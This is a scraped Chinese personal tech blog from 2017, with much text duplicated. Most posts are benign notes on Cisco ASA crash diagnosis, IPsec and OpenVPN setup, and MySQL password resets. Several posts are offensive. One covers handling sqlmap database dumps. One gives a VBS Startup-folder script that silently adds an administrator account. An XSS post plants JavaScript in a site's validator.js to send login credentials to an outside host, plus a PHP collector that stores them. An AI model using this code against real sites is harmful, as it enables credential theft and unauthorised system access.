2017年3月29日星期三
[转]sqlmap脱裤.csv文件中文乱码解决方法
sqlmap脱裤.csv文件中文乱码解决方法
脱下的.CSV文件默认打开方式是excel;
解决方法:
1、将导出的CSV文件用记事本打开
2、然后另存为:选择ANSI编码保存,
用户登录页面,后台的登录逻辑判断
经典的实现方式
参考链接:
1. 防SQL注入攻略
2. 使用php实现简单的登录系统
3. 从万能密码看SQL的逻辑运算符
SELECT count(*) FROM user WHERE name ='".$user."' AND password = '".sha1($password)."'" SELECT username,pass FROM users WHERE username='$uname' AND password='$passwrd' LIMIT 0,1 SELECT * FROM users WHERE username = '$username' AND password = '$password'另一种实现方式 先通过用户名去数据库查询相关用户的密码字段,并且检查只有一条,如果有两条以上就应该判断为false。 这可以防止基于约束的sql注入攻击。 查询到密码字段后,与post方法获取到的密码进行比对,这样,就不存在sql注入bypass登录页面的问题了。
参考链接:
1. 防SQL注入攻略
2. 使用php实现简单的登录系统
3. 从万能密码看SQL的逻辑运算符
2017年3月16日星期四
cisco ASA 防火墙查找重启原因
1. show crashinfo
2. dir flash:/crash.txt
3.通过日志服务器查找原因
4.通过zabbix监控接口流量情况与cpu内存利用情况
这是一次在debug过程导致重启的事故,从crashinfo消息
看出是ssh进程导致的,与debug关系不大。
2. dir flash:/crash.txt
3.通过日志服务器查找原因
4.通过zabbix监控接口流量情况与cpu内存利用情况
这是一次在debug过程导致重启的事故,从crashinfo消息
看出是ssh进程导致的,与debug关系不大。
阿里云部署strongswan与flexGW (实现linux与cisco asa 5520对接)
0x00 使用flexGW与对端CISCO asa 5520建立IKEv2 ipsec vpn
首先要介绍一下FlexGW,它是阿里开源的一个项目,FlexGW项目地址
它包含了两个开源组件,openvpn、strongswan
但是这里,只需要用到strongswan即可,strongswan的官网首页有许多
IKE相关的RFC编号,可以多看看
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
strongSwan U5.4.0/K2.6.32-573.22.1.el6.x86_64
CentOS release 6.5 (Final)
0x02 根据官方文档配置
搭建VPN网关 是阿里官方flexGW web图形配置界面介绍,加上cisco ASA的配置。
注意配置两端的参数要一致。
0x03 我的配置
首先定义允许经过VPN的流量
access-list ALIVPN extended permit ip 172.16.0.0 255.255.0.0 10.8.0.0 255.255.0.0
重要提示:在这里可能会出现下面的报错。
原理:strongswan会把允许的流量列表发过来,必须要与ALIVPN列表精确匹配,
否则就不能正常建立ipsec sa。
以下是之前的写法:
access-list IT-2-ALIVPN extended permit ip 172.16.11.0 255.255.255.0 10.8.0.0 255.255.0.0
日志错误
Negotiation aborted due to ERROR: Failed to find a matching policy
调试错误
IKEv2-PROTO-1: (64): Failed to find a matching policy
原因
访问控制列表与对端的流量筛选器不一致
0x03 两个SA建立后,ping不同?
ping不通的原因:
ESP 数据包必须经过NAT,而经过NAT后源地址被转换,校验失败,数据包丢弃。
出个问题,ESP数据包可以不走NAT吗?
解决方法:
在asa做一个二次NAT,让源地址与目标地址都不转换的经过NAT。
0x04 排错思路
排除思路:
一种是开debug
debug crypto ikev2 protocol
debug crypto ikev2 platform
另外一种是查看日志
show logging | in x.x.x.x (过滤对端IP地址)
首先要介绍一下FlexGW,它是阿里开源的一个项目,FlexGW项目地址
它包含了两个开源组件,openvpn、strongswan
但是这里,只需要用到strongswan即可,strongswan的官网首页有许多
IKE相关的RFC编号,可以多看看
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
strongSwan U5.4.0/K2.6.32-573.22.1.el6.x86_64
CentOS release 6.5 (Final)
0x02 根据官方文档配置
搭建VPN网关 是阿里官方flexGW web图形配置界面介绍,加上cisco ASA的配置。
注意配置两端的参数要一致。
0x03 我的配置
首先定义允许经过VPN的流量
access-list ALIVPN extended permit ip 172.16.0.0 255.255.0.0 10.8.0.0 255.255.0.0
重要提示:在这里可能会出现下面的报错。
原理:strongswan会把允许的流量列表发过来,必须要与ALIVPN列表精确匹配,
否则就不能正常建立ipsec sa。
以下是之前的写法:
access-list IT-2-ALIVPN extended permit ip 172.16.11.0 255.255.255.0 10.8.0.0 255.255.0.0
日志错误
Negotiation aborted due to ERROR: Failed to find a matching policy
调试错误
IKEv2-PROTO-1: (64): Failed to find a matching policy
原因
访问控制列表与对端的流量筛选器不一致
crypto ikev2 enable wan
crypto ikev2 policy 10 encryption aes-256 3des integrity sha256 md5 group 5 2 1 prf sha256 md5 lifetime seconds 86400 tunnel-group HardWay type ipsec-l2l # 这个一直提示错误的信息 tunnel-group HardWay ipsec-attributes ikev2 remote-authentication pre-shared-key cisco123 ikev2 local-authentication pre-shared-key cisco123 调试出下面错误 IKEv2-PLAT-1: Failed to set P1 auth to build policy IKEv2-PLAT-1: unable to build ikev2 policy IKEv2-PROTO-1: (38): Failed to locate an item in the database 更换了tunnel-group ID后,正常连接隧道 tunnel-group 99.99.99.99 type ipsec-l2l # 把HardWay改成99.99.99.99 tunnel-group 120.77.32.39 ipsec-attributes ikev2 remote-authentication pre-shared-key cisco123 ikev2 local-authentication pre-shared-key cisco123 crypto ipsec ikev2 ipsec-proposal itplus protocol esp encryption 3des protocol esp integrity md5 crypto map cry-map 50 match address ALIVPN crypto map cry-map 50 set peer 99.99.99.99 crypto map cry-map 50 set ikev2 ipsec-proposal itplus 第二次报错 IKEv2-PLAT-1: IKEv2 protocol not allowed by policy set for vpn-tunnel-protocol IKEv2-PLAT-1: Connection is not authorized based on configured attributes IKEv2-PROTO-1: (39): Failed to register new SA with platform 第二次报错的解决方法 group-policy ALI_VPN internal group-policy ALI_VPN attributes vpn-idle-timeout 30 vpn-tunnel-protocol ikev2 tunnel-group 99.99.99.99 general-attributes default-group-policy ALI_VPN
0x03 两个SA建立后,ping不同?
ping不通的原因:
ESP 数据包必须经过NAT,而经过NAT后源地址被转换,校验失败,数据包丢弃。
出个问题,ESP数据包可以不走NAT吗?
解决方法:
在asa做一个二次NAT,让源地址与目标地址都不转换的经过NAT。
object network XYJCOM subnet 172.16.0.0 255.255.0.0 object network ALICLD subnet 10.8.0.0 255.255.0.0 nat (lan,wan) source static XYJCOM XYJCOM destination static ALICLD ALICLD no-proxy-arp route-lookup
0x04 排错思路
排除思路:
一种是开debug
debug crypto ikev2 protocol
debug crypto ikev2 platform
另外一种是查看日志
show logging | in x.x.x.x (过滤对端IP地址)
2017年3月15日星期三
阿里云部署openvpn L2L - C/S架构 (or site to site)
0x00 基于LAN-TO-LAN的阿里云部署C/S架构openvpn
这次依然使用openvpn的C/S架构,但是实现的是LAN-TO-LAN vpn,实现两边的内网互访。而不是默认的c/s架构,只能由client访问到服务器内网的资源。
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
CentOS release 6.5 (Final)
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
CentOS release 6.5 (Final)
0x01 点对点VPN
1.不需要开启iptables
2.添加合适的路由,可以在openvpn的配置文件下去完成
3.需要开启数据包转发功能,在/etc/sysctl.conf下去配置
4.查看路由表的方法:
route -n
netstat -nr
linux增加路由与删除路由
route add -net 172.16.11.0 netmask 255.255.255.0 dev tun0 gw 10.8.0.1
route del -net 172.16.11.0 netmask 255.255.255.0 dev tun0 gw 10.8.0.2
windows添加静态路由
route add 10.8.0.0 mask 255.255.255.0 172.16.11.196
0x02 一些调试与排错技巧
配置文件快速查看
grep "^[^#;]" server.conf
vpn调试工具
在指定接口下抓限定条件的数据包
tcpdump -i tun0 -n dst 10.8.1.11
tcpdump -i tun0 -n src 172.16.11.198
linux下的openvpn客户端
apt-get install openvpn
openvpn --config ali.ovpn
注意:openvpn --config config/ali.ovpn 这样会有问题,不能启动
只能到指定文件夹下去加载配置文件,才不会出错
查看证书的命令
openssl x509 -noout -text -in xxname.crt
根据证书的common name,里面有五个信息可以看
Issuer -- CA的信息
subject -- 项目或者用户的信息
signature Algorithm -- 签名算法
Validity -- 证书有效期
Public-Key Length -- 公钥长度
主要根据subject的common name,即CN
0x03 完成两边网络互访的关键配置项
首先我把server.conf里面的注释内容翻译了一下
# 分配指定的ip地址给指定的客户端 # 或者连接的客户端后面有私有子网也需要有VPN访问 # 使用子目录名“ccd”为指定客户端添加配置文件 # (详细内容请看man page) # 举例: (CN: Common Name) # 假设客户端证书的CN是“Thelonious” # 有一个小型子网在他连接VPN的电脑后面 # 比如 192.168.40.128/255.255.255.248. # 首先,把下面两行注释掉 ;client-config-dir ccd ;route 172.16.11.0 255.255.255.0 # 然后创建一个ccd/Thelonious的文件,写入一行: # iroute 192.168.40.128 255.255.255.248 # 这将允许Thelonious后面的私有子网去访问VPN # 这个例子将只会工作在路由模式而不是桥接模式 # [i.e.] 也就是,你使用的是 “dev tun” 与 “server” 指令 # 举例: # 假设你想给Thelonious一个固定的VPN IP地址:10.9.0.1 # 首先,把下面两行注释掉 ;client-config-dir ccd ;route 10.9.0.0 255.255.255.252 # 然后把下面内容加入 ccd/Thelonious # ifconfig-push 10.9.0.1 10.9.0.2
注意文件的命名必须严格按照证书里面CN来命名
2017年3月11日星期六
阿里云部署openvpn 基于NAT C/S架构
0x00
这次是第二次配置openvpn了,第一次没有成功,因为是在国外的主机上。
本次基本参照一篇博文完成了配置。
其中要注意的是,不要照搬照抄,注意修改一些内容。
给新用户生成证书的时候,在cd /etc/openvpn目录下
需要注意先执行 source ./vars
然后再 ./build-key xxname
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
CentOS release 6.5 (Final)
0x01
注意根据自己的需求写iptables规则
由于我是在生产环境下,需要多次重启,确保开机后openvpn服务正常运作。
0x02
这次openvpn的搭建速度很快,不到3个小时就完成,当然靠的是良好的排错思路。
可以根据两篇博文的思路来进行,中文,英文。
总结openvpn 的排除思路
可以说openvpn的排错都是在配置文件里面去完成
server端
查看日志,搜索 error
根据错误去配置
client端
日志出现错误的时候,
就去查看日志,搜索WARNING,并且定位问题
一般定位到的问题都是在server端或者client端配置不匹配导致的
所以通过调整配置文件一般都可以排错完成
这次是第二次配置openvpn了,第一次没有成功,因为是在国外的主机上。
本次基本参照一篇博文完成了配置。
其中要注意的是,不要照搬照抄,注意修改一些内容。
给新用户生成证书的时候,在cd /etc/openvpn目录下
需要注意先执行 source ./vars
然后再 ./build-key xxname
环境:
OpenVPN 2.3.14 x86_64-redhat-linux-gnu
CentOS release 6.5 (Final)
0x01
注意根据自己的需求写iptables规则
设置iptables这一条至关重要通过配置nat将vpn网段IP转发到server内网,10.8.0.0/24 是vpn网段 iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j MASQUERADE iptables -A INPUT -p UDP --dport 1194 -j ACCEPT iptables -A INPUT -p TCP --dport 22 -j ACCEPT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT service iptables save chkconfig iptables on 注意: 必须让iptables服务开机自启动,否则规则不会加载
由于我是在生产环境下,需要多次重启,确保开机后openvpn服务正常运作。
0x02
这次openvpn的搭建速度很快,不到3个小时就完成,当然靠的是良好的排错思路。
可以根据两篇博文的思路来进行,中文,英文。
总结openvpn 的排除思路
可以说openvpn的排错都是在配置文件里面去完成
server端
查看日志,搜索 error
根据错误去配置
client端
日志出现错误的时候,
就去查看日志,搜索WARNING,并且定位问题
一般定位到的问题都是在server端或者client端配置不匹配导致的
所以通过调整配置文件一般都可以排错完成
2017年3月2日星期四
编码直觉
编码直觉是作为一名黑帽子与白帽子必须掌握的一门技能
注意:在处理并且理解编码意义的时候,经常需要用到碰撞与撞库的术语,或者fuzz。
unix时间戳
10位数字长度 1487404381 秒
13位数字长度 1487404381121 毫秒
md5 特点
1. 128bit (16字节) 32个字符
2. 一般128位的MD5散列被表示为32位十六进制数字 (注意:表示一词用的很好)
3. 定长输出
示例:
md5(sdafsd,32) = 569ebc3d91672e7d3dce25de1684d0c9
SHA-1 特点
1. 比md5多8个字符,40个字符
2. 有更多的加密选择,sha-128-256-512
1. 这类加密只能使用脚本进行比对,得出使用的加密算法
BASE64 特点
1. 等号“=”用来作为后缀用途 , 后面有一个或者两个 = 号的
2. 64个字符
52个大小写字母
ABCDEF GHIJKL MNOPQR STUVWX YZ
abcdef ghijkl mnopqr stuvwx yz
10个数字
0123456789
两个字符
+ /
参考链接:
1. 几种常用加密算法比较
注意:在处理并且理解编码意义的时候,经常需要用到碰撞与撞库的术语,或者fuzz。
unix时间戳
10位数字长度 1487404381 秒
13位数字长度 1487404381121 毫秒
md5 特点
1. 128bit (16字节) 32个字符
2. 一般128位的MD5散列被表示为32位十六进制数字 (注意:表示一词用的很好)
3. 定长输出
示例:
md5(sdafsd,32) = 569ebc3d91672e7d3dce25de1684d0c9
SHA-1 特点
1. 比md5多8个字符,40个字符
2. 有更多的加密选择,sha-128-256-512
1. 这类加密只能使用脚本进行比对,得出使用的加密算法
BASE64 特点
1. 等号“=”用来作为后缀用途 , 后面有一个或者两个 = 号的
2. 64个字符
52个大小写字母
ABCDEF GHIJKL MNOPQR STUVWX YZ
abcdef ghijkl mnopqr stuvwx yz
10个数字
0123456789
两个字符
+ /
参考链接:
1. 几种常用加密算法比较
提权记录
最佳拍档A -- 检索没有安装的补丁编号
最佳拍档B -- 查找相关漏洞编号的使用范围,包括系统版本
渗透工具集合 -- 含有大部分漏洞利用程序
webshell写入启动项目提权
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 用户名 密码 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators 用户名 /add",0)
保存为xx.vbs
放入 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ,前提可写
有一条命令可以提取出补丁的详细信息:
wmic qfe list full
参考链接:
1. Web安全之Windows提权
最佳拍档B -- 查找相关漏洞编号的使用范围,包括系统版本
渗透工具集合 -- 含有大部分漏洞利用程序
webshell写入启动项目提权
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 用户名 密码 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators 用户名 /add",0)
保存为xx.vbs
放入 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ,前提可写
有一条命令可以提取出补丁的详细信息:
wmic qfe list full
参考链接:
1. Web安全之Windows提权
mysql密码忘记
按照以下的顺序执行
# /etc/init.d/mysql stop
# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
到这一步,直接再一个回车,&表示后台运行
# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
这里newpassword,就是你新密码
mysql> FLUSH PRIVILEGES;
mysql> quit
# /etc/init.d/mysql restart
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>
mysql>
# /etc/init.d/mysql stop
# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
到这一步,直接再一个回车,&表示后台运行
# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
这里newpassword,就是你新密码
mysql> FLUSH PRIVILEGES;
mysql> quit
# /etc/init.d/mysql restart
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>
mysql>
XSS原理到后台接收的实践
首先要有一台VPS,一个域名
xss 代码存放处
路径: /Include/Script/validator.js
函数位置: jQuery.fn.checkForm 下面的 form.submit
js代码: document.getElementById('mx').src="http://www.sherpper.com:8680/test.php?"+encodeURI('pass=' + document.getElementById('TextBox2').value)+encodeURI('&user=' + document.getElementById('TextBox1').value);
构造代码的过程中,使用了两个函数 escape 与 encodeURI 。
注意escape组成的url是不能提交成功的,需要使用encodeURI.
html代码:<img src="" id="mx" style="display: none;"/>
安装mysql,并且创建数据库
创建数据库
Create database test;
想看之前创建的表
show create table xss;
php 后台接收代码
环境: debian7(raspberry pi) apache2 PHP mysql
配置完port.conf后,重启出现问题:
How to fix Apache2 could not reliably determine the server’s fully qualified domain name
下面是解决方法,附上链接
echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn
xss 代码存放处
路径: /Include/Script/validator.js
函数位置: jQuery.fn.checkForm 下面的 form.submit
js代码: document.getElementById('mx').src="http://www.sherpper.com:8680/test.php?"+encodeURI('pass=' + document.getElementById('TextBox2').value)+encodeURI('&user=' + document.getElementById('TextBox1').value);
构造代码的过程中,使用了两个函数 escape 与 encodeURI 。
注意escape组成的url是不能提交成功的,需要使用encodeURI.
html代码:<img src="" id="mx" style="display: none;"/>
安装mysql,并且创建数据库
创建数据库
Create database test;
创建表
create table login
(
id int not null AUTO_INCREMENT,
id int not null AUTO_INCREMENT,
username char(15) NOT NULL,
password char(15) NOT NULL,
PRIMARY KEY(id)
)ENGINE = InnoDB;
想看之前创建的表
show create table xss;
php 后台接收代码
<?php session_start(); $_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0; $_SESSION['attempt'] += 1; if ($_SESSION['attempt'] >= 100) { die("Too Frequent"); } $mysqli = new mysqli("localhost", "root", "123456", "evil"); if ($mysqli->connect_errno) { echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error; } $passwd = $_GET['pass']; $users = $_GET['user']; $time = date("Y-m-d H:i:s", time()); $items = explode(";", $content); $js = ''; foreach ($items as $item) { $js .= ("document.cookie='".trim($item)."';"); } echo 'js: ' , $js , '<br>' , 'time: ' , $time , '<br>'; if ($stmt = $mysqli->prepare("insert into xss(username, password, time, js) values (?, ?, ?, ?)")) { $stmt->bind_param('ssss', $passwd, $users, $time, $js); $result = $stmt->execute(); if ($result) { echo "Collected Your Cookie <br>" ; } } echo 'password: ', $passwd, '<br>', 'username: ', $users; ?>这次在linux部署LAMP服务器时遇到一些小问题:
环境: debian7(raspberry pi) apache2 PHP mysql
配置完port.conf后,重启出现问题:
How to fix Apache2 could not reliably determine the server’s fully qualified domain name
下面是解决方法,附上链接
echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn
订阅:
博文 (Atom)